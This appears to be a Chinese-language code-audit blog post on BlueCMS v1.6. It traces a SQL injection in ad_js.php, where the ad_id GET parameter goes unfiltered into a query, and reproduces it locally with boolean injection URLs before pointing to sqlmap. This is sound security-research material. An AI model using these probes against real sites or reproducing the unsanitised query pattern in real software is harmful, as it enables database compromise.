bluecms
BlueCMS是一款专注于地方门户网站建设解决方案,基于PHP+MySQL的技术开发,全部源码开放。
复现版本为bluecmsv1.6版本,各位可自行下载。
代码审计
先使用Seay工具审计一波,根据关键代码回溯。
工具显示ad_js.php存在sql注入,我们打开代码所在php文件进一步查看。
关键代码:
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{
echo 'Error!';
exit();
}
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
可以看到ad_id参数通过get得到,判断是否为空,不为空,则没过滤地带入getone函数进行查询。
进到getone()函数中,看看有没有过滤。
function getone($sql, $type=MYSQL_ASSOC){
$query = $this->query($sql,$this->linkid);
$row = mysql_fetch_array($query, $type);
return $row;
}
可以看到没有过滤,直接执行传入的sql语句了。
漏洞复现
访问漏洞所在链接,发现没有任何回显,查看源码是空白页面。
http://localhost/bluecms1.6/ad_js.php?ad_id=1
分析一下代码逻辑,发现是缺少广告信息所导致的,因为我是本地搭建的新系统,后台是没有任何数据的。
那我们进入后台给它一个广告,看看会怎样。(PS:把php调小一点,不然会出不来后台,php5.2.17可以)
再次访问漏洞链接,这下就有了内容。
http://localhost/bluecms1.6/ad_js.php?ad_id=1
http://localhost/bluecms1.6/ad_js.php?ad_id=2
http://localhost/bluecms1.6/ad_js.php?ad_id=1 and 1=1
http://localhost/bluecms1.6/ad_js.php?ad_id=1 and 1=2
通过返回内容的不同,可以判定具有sql漏洞。
放到sqlmap去跑就行了。